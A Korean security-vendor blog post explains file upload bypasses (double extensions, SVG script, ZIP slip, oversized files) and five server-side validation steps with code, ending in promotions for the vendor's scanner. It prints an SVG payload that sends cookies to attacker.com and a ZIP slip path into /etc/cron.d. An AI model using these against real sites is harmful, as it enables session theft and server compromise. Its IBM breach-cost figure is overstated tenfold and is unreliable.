제공 서비스
웹 보안 점검 소스코드 분석 (SAST) CRM 보안 진단 다크웹 유출 조회
요금제 스토어 블로그 파트너 마이페이지 무료 보안 점검
웹 보안 실전 2026.05.01 · 조회 157

파일 업로드 보안 — MIME spoof 우회 패턴 4가지와 서버 검증 5단계 실전 가이드 (2026)

파일 업로드 엔드포인트는 RCE·XSS·저장소 폭주의 입구다. 확장자 검사 하나로 막힌다는 착각이 사고를 만든다. OWASP CWE-434 기준 우회 패턴 4가지와 매직바이트 검증부터 메타데이터 stripping까지 5단계를 코드와 함께 정리했다.

파일 업로드 기능은 붙이는 순간 서버에 구멍이 하나 생긴다. OWASP Unrestricted File Upload 분류에 따르면, 이 취약점 하나로 RCE·XSS·서비스 중단이 동시에 가능하다. IBM Cost of a Data Breach 2024 보고서는 웹 애플리케이션 취약점을 이용한 침해 사고의 평균 대응 비용을 약 4,880만 달러로 집계했다. 문제는 "확장자 보면 되지 않나?"라는 착각이다. 확장자는 위조하는 데 2초가 안 걸린다.

왜 확장자 검사만으로는 부족한가

CWE-434 Unrestricted Upload of File with Dangerous Type은 MITRE가 꾸준히 위험도 상위에 올리는 취약점이다. 핵심은 서버가 파일의 실제 내용이 아닌 클라이언트 제공 정보를 신뢰한다는 점이다.

"Uploaded files represent a significant risk to applications. The first step in many attacks is to get some code to the system to be attacked." — OWASP File Upload Cheat Sheet

실제로 쓰이는 우회 패턴 4가지

.php.jpg — 이중 확장자 우회

파일명이 shell.php.jpg이면 확장자 검사가 마지막 .jpg만 보고 통과시키는 경우가 있다. 2016년 공개된 CVE-2016-3714(ImageTragick)는 이미지 처리 라이브러리를 통한 RCE 사례다.

SVG 안에 자바스크립트 — XSS via image

<!-- 공격자가 올리는 SVG -->
<?xml version="1.0"?>
<svg xmlns="http://www.w3.org/2000/svg">
  <script>document.location='https://attacker.com/steal?c='+document.cookie</script>
</svg>

ZIP slip — 압축 파일 경로 탈출

압축 파일 안에 ../../etc/cron.d/backdoor 같은 경로로 파일을 집어넣으면, 라이브러리가 검증 없이 그대로 풀 경우 서버 임의 경로에 파일이 생긴다. Snyk 보안팀이 2018년 공개한 ZIP slip 분석에 따르면 수백 개 라이브러리와 수천 개 프로젝트가 영향을 받았다.

무제한 크기 업로드 — 디스크 폭주

공격자가 수십 GB짜리 파일을 반복 업로드하면 디스크가 꽉 차고, 로그 기록도 안 되고, 서비스 전체가 멈춘다.

서버 측 검증 5단계

1단계 — 확장자 화이트리스트 (블랙리스트 쓰지 말 것)

ALLOWED_EXTENSIONS = {'png', 'jpg', 'jpeg', 'gif', 'pdf', 'docx'}

def allowed_extension(filename: str) -> bool:
    if '.' not in filename:
        return False
    ext = filename.rsplit('.', 1)[-1].lower()
    return ext in ALLOWED_EXTENSIONS

2단계 — MIME 헤더 + 매직바이트 둘 다 검증

import magic

def validate_mime(file_bytes: bytes, allowed_mimes: set) -> bool:
    mime = magic.from_buffer(file_bytes[:2048], mime=True)
    return mime in allowed_mimes

ALLOWED_MIMES = {'image/jpeg', 'image/png', 'image/gif', 'application/pdf'}

3단계 — 파일 크기·개수 제한 (Nginx + 앱 레벨 이중으로)

# nginx.conf
client_max_body_size 10m;

# Django settings.py
DATA_UPLOAD_MAX_MEMORY_SIZE = 10 * 1024 * 1024
FILE_UPLOAD_MAX_MEMORY_SIZE = 10 * 1024 * 1024
DATA_UPLOAD_MAX_NUMBER_FILES = 10

4단계 — 저장 경로 무작위화 + Content-Disposition 강제

import uuid
from pathlib import Path

UPLOAD_BASE = Path('/var/www/uploads')

def save_upload(file_obj, original_filename: str) -> str:
    ext = original_filename.rsplit('.', 1)[-1].lower()
    new_filename = f"{uuid.uuid4().hex}.{ext}"
    from datetime import date
    subdir = UPLOAD_BASE / date.today().strftime('%Y/%m/%d')
    subdir.mkdir(parents=True, exist_ok=True)
    save_path = subdir / new_filename
    with open(save_path, 'wb') as f:
        f.write(file_obj.read())
    return str(save_path)

5단계 — 이미지·PDF 메타데이터 stripping

from PIL import Image
import io

def strip_image_metadata(file_bytes: bytes) -> bytes:
    img = Image.open(io.BytesIO(file_bytes))
    output = io.BytesIO()
    img.save(output, format=img.format, optimize=True)
    return output.getvalue()

자주 묻는 질문

확장자 검사와 MIME 검사 중 하나만 해도 되나요?

둘 다 해야 한다. 확장자만 보면 이중 확장자 우회가 통한다. MIME 헤더만 보면 헤더를 위조한 PHP 파일이 통과된다. 매직바이트까지 확인해야 실제 파일 타입을 신뢰할 수 있다.

SVG 업로드를 허용해야 하는데 어떻게 막나요?

DOMParser로 파싱 후 <script> 태그, on* 이벤트 핸들러, javascript: 프로토콜을 전부 제거하는 sanitize 단계를 넣어야 한다. 파일을 그대로 서빙하면 XSS다.

ZIP slip은 Python 표준 라이브러리도 취약한가요?

Python 표준 zipfile은 3.12 이전에는 경로 검증이 없어서 직접 검증 코드를 넣어야 했다. 멤버별로 member.filename을 검사하고 추출하는 방식이 안전하다.

업로드된 파일을 웹 루트 바깥에 저장하면 어떻게 서빙하나요?

Django라면 뷰에서 파일을 열고 FileResponse로 내려준다. 이때 Content-Disposition: attachmentX-Content-Type-Options: nosniff를 반드시 붙인다.

파일 업로드 기능이 있는지 자동으로 점검하는 방법이 있나요?

직접 점검이 어렵다면 codescan.kr 무료 스캔으로 업로드 엔드포인트 노출 여부를 확인해볼 수 있다.

정리

보안 전문 기업 SENTRIX에서 실제 서비스 점검을 수백 건 해보면, 업로드 취약점은 크게 두 부류다 — 아예 검증을 안 넣은 경우, 그리고 확장자 검사만 하고 끝낸 경우. 지금 서비스에 파일 업로드 엔드포인트가 있다면 codescan.kr에서 무료 스캔을 해보면 업로드 경로 노출 여부와 기본 헤더 설정 상태를 30초 안에 확인할 수 있다.

파일 업로드 보안 MIME 검증 업로드 취약점 악성파일 차단 파일 확장자 우회 ZIP slip SVG XSS CWE-434 OWASP

내 사이트도 점검해보세요

CodeScan으로 보안 취약점을 무료로 점검할 수 있습니다.

무료 스캔 시작하기 →
🛒
추천 상품
웹서비스 런칭 전 보안 세팅
런칭 전에 반드시 해야 하는 보안 설정을 원격으로 직접 해드립니다. HTTPS, 환경변수 분리, 보안 헤더…
220,000원 150,000원

🔒 바이브코딩 보안 체크리스트 받기

바이브코딩 보안 체크리스트(PDF)를 무료로 받아보세요.